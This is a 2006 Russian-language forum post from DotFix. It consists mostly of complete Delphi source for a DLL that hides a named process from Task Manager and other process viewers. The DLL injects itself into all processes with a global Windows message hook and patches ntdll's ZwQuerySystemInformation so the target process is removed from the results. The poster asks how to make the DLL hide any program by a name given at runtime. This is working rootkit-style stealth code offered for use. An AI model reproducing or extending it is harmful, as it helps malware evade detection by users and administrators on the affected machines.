*Начало * Ответить * Статистика * Задать вопрос * Поиск * FAQ * * |
DotFix Forum / Вопросы программирования и исследования защит / Как реально спрятать прогу из списка? |
Автор | Сообщение |
MZUser Участник |
Дата: 1 Май 2006 14:08 Было много всяких DLL, которые прячут проги, но они не совсем прячут. Есть у меня библиотека, которая прячет прогу не только из стандартного диспетчера, но даже из Total Commander-ского плагина не видать прогу. Но вся беда в том, что DLL прячет мой процес по имени процеса, и я немогу его передать библиотеке как параметр. Вот текст библиотеки (Експорта нет) library Hide; uses Windows, NativeAPI; type OldCode = packed record One: dword; two: word; end; far_jmp = packed record PuhsOp: byte; PushArg: pointer; RetOp: byte; end; var JmpZwq: far_jmp; OldZwq: OldCode; PtrZwq: pointer; Function TrueZwQuerySystemInformation(ASystemInformationClass: dword; ASystemInformation: Pointer; ASystemInformationLength: dword; AReturnLength: PCardinal): NTStatus; stdcall; var Written: dword; begin WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Written); Result := ZwQuerySystemInformation(ASystemInformationClass, ASystemInformation, ASystemInformationLength, AReturnLength); WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @JmpZwq, SizeOf(far_jmp), Written); end; Function NewZwQuerySystemInformation(ASystemInformationClass: dword; ASystemInformation: Pointer; ASystemInformationLength: dword; AReturnLength: PCardinal): NTStatus; stdcall; var Info, Prev: PSYSTEM_PROCESSES; begin Result := TrueZwQuerySystemInformation(ASystemInformationClass, ASystemInformation, ASystemInformationLength, AReturnLength); if (ASystemInformationClass = SystemProcessesAndThreadsInformation) and (Result = STATUS_SUCCESS) then begin Info := ASystemInformation; while(Info^.NextEntryDelta > 0) do begin Prev := Info; Info := pointer(dword(Info) + Info^.NextEntryDelta); if lstrcmpiw(Info^.ProcessName.Buffer, 'My Exe.exe') = 0 then Prev^.NextEntryDelta := Prev^.NextEntryDelta + Info^.NextEntryDelta; end; end; end; Procedure SetHook(); var Bytes: dword; begin PtrZwq := GetProcAddress(GetModuleHandle('ntdll.dll'), 'ZwQuerySystemInformation'); ReadProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes); JmpZwq.PuhsOp := $68; JmpZwq.PushArg := @NewZwQuerySystemInformation; JmpZwq.RetOp := $C3; WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @JmpZwq, SizeOf(far_jmp), Bytes); end; Procedure Unhook(); var Bytes: dword; begin WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes); end; // залепа Function MessageProc(code : integer; wParam : word; lParam : longint) : longint; stdcall; begin CallNextHookEx(0, Code, wParam, lparam); Result := 0; end; Procedure SetGlobalHookProc(); begin SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0); Sleep(INFINITE); end; // Procedure SetGlobalHook(); var hMutex: dword; TrId: dword; begin hMutex := CreateMutex(nil, false, 'ProcHideHook'); if GetLastError = 0 then CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId) else CloseHandle(hMutex); end; procedure DLLEntryPoint(dwReason: DWord); begin case dwReason of DLL_PROCESS_ATTACH: begin SetGlobalHook(); SetHook(); end; DLL_PROCESS_DETACH: begin Unhook(); end; end; end; begin DllProc := @DLLEntryPoint; DLLEntryPoint(DLL_PROCESS_ATTACH); end. Подскажите как етой DLL-кой можно прятать все проги.(Динамически указывать имя процеса) |